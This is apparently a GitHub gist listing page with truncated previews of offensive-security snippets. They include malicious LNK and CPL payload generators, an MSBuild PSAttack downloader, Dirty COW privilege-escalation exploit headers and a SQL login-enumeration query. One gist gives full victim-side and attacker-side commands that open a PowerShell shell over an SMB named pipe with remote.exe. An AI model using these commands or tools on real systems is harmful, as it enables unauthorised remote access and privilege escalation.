Skip to content

Instantly share code, notes, and snippets.

View unbaiat's full-sized avatar

unbaiat unbaiat

  • Unicorns United Ltd
  • Castalia
View GitHub Profile
@mak
mak / hdoc.py
Last active October 28, 2018 21:09
Extract payload from H-docs
#!/usr/bin/env python2
import os
import re
import sys
import math
import pefile
import struct
import hashlib
import argparse
from oletools import olevba
function Create-LNKPayload{
<#
.SYNOPSIS
Generates a malicous LNK file
.PARAMETER LNKName
Name of the LNK file you want to create.
@mubix
mubix / infosec_newbie.md
Last active March 10, 2025 09:42
How to start in Infosec
@mattifestation
mattifestation / gist:8ef36782ceb7f73d74cfb00c2a710301
Created November 19, 2016 17:07
remote.exe - a useful, MS signed SMB shell
# Command to run on the victim
# This will establish a PowerShell listener over the "pwnme" named pipe
remote /S "powershell.exe" pwnme
# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
runas /netonly /user:[Domain|Hostname\Username] "cmd"
remote /C [Hostname\IP] "pwnme"
@NickTyrer
NickTyrer / PSA64.cs
Created November 19, 2016 08:45
PSAttack Using MSBuild Downloader
This file has been truncated, but you can view the full file.
//Credits to Casey Smith for his initial research here "https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371"
//Based on Jared Haight work (https://github.com/jaredhaight/PSAttack)
//1. Compile "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:PSA64.exe PSA64.cs"
using System;
using System.Reflection;
namespace PSA64
{
class Program
{
@xorrior
xorrior / New-CplBatchFile.ps1
Last active September 20, 2017 12:15
Generate Batch file for cpl file
function New-CplBatchFile
{
<#
.SYNOPSIS
Generates a batch file which will contain a certutil encoded, cab compressed payload.
.DESCRIPTION
The batch file will decode and decompress the cab file, then execute the dll within with regsvr32. You may modify the bat file to execute whatever you want.
Create payload:
@ngaro
ngaro / dirty_passwd_adjust_cow.c
Last active June 12, 2024 22:19
A dirty cow exploit that automatically finds the current user in passwd and changes it's uid to 0
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
@mak
mak / naughtyc0w.c
Created October 22, 2016 20:48
exploit for CVE-2016-5195 nothing fancy
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/uio.h>
#include <sys/wait.h>
select n [id], SUSER_NAME(n) [user_name]
from (
select top 10000 row_number() over(order by t1.number) as N
from master..spt_values t1
cross join master..spt_values t2
) a
where SUSER_NAME(n) is not null
@0x9090
0x9090 / hacker_history.txt
Last active October 22, 2024 00:41
History of Hacking
-------------------------------------------------------------
--- Mirrored From http://quietlydreaming.wumpy.xyz/qd.txt ---
-------------------------------------------------------------
1961.01.02 Caltech hackers (Fiendish Fourteen) hacked the stunt cards at the Rose Bowl (U of Wash vs Minnesota)
to say CALTECH instead of WASHINGTON and show a beaver instead of a husky
1969.10.29 The Internet is born as the first ARPANET link was established on October 29, 1969, between the IMP at UCLA and the IMP at SRI. By December, the entire 4-node network was connected.
1971.00.00 John Draper (Cap'n Crunch) uses whistle (blue box) to access Ma Bell
1971.00.00 First e-mail program written by Ray Tomlinson
1972.05.00 John Draper arrested for phone fraud